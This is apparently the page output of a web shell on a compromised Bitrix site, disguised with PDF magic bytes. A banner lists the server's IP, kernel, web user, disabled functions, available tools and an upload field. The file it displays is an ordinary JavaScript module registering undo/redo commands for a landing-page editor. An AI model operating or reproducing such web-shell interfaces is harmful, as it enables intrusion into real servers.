%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.191.33.136 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/history/src/internal/ |
Upload File : |
import editText from '../action/edit-text'; import editEmbed from '../action/edit-embed'; import editMap from '../action/edit-map'; import editImage from '../action/edit-image'; import editIcon from '../action/edit-icon'; import editLink from '../action/edit-link'; import sortBlock from '../action/sort-block'; import addBlock from '../action/add-block'; import removeBlock from '../action/remove-block'; import addCard from '../action/add-card'; import removeCard from '../action/remove-card'; import addNode from '../action/add-node'; import removeNode from '../action/remove-node'; import editStyle from '../action/edit-style'; import updateBlockState from '../action/update-block-state'; import updateContent from '../action/update-content'; import Command from '../history-command'; import {UNDO, REDO} from './constants'; import type {History} from '../history'; /** * Registers base internal commands * @param {History} history * @return {Promise<History>} */ export default function registerBaseCommands(history: History) { history.registerCommand( new Command({ id: 'editText', undo: editText.bind(null, UNDO), redo: editText.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'editEmbed', undo: editEmbed.bind(null, UNDO), redo: editEmbed.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'editMap', undo: editMap.bind(null, UNDO), redo: editMap.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'editImage', undo: editImage.bind(null, UNDO), redo: editImage.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'editIcon', undo: editIcon.bind(null, UNDO), redo: editIcon.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'editLink', undo: editLink.bind(null, UNDO), redo: editLink.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'sortBlock', undo: sortBlock.bind(null, UNDO), redo: sortBlock.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'addBlock', undo: removeBlock.bind(null, UNDO), redo: addBlock.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'removeBlock', undo: addBlock.bind(null, UNDO), redo: removeBlock.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'updateStyle', undo: editStyle.bind(null, UNDO), redo: editStyle.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'addCard', undo: removeCard.bind(null, UNDO), redo: addCard.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'removeCard', undo: addCard.bind(null, UNDO), redo: removeCard.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'addNode', undo: removeNode.bind(null, UNDO), redo: addNode.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'removeNode', undo: addNode.bind(null, UNDO), redo: removeNode.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'updateBlockState', undo: updateBlockState.bind(null, UNDO), redo: updateBlockState.bind(null, REDO), }), ); history.registerCommand( new Command({ id: 'updateContent', undo: updateContent.bind(null, UNDO), redo: updateContent.bind(null, REDO), }), ); return Promise.resolve(history); }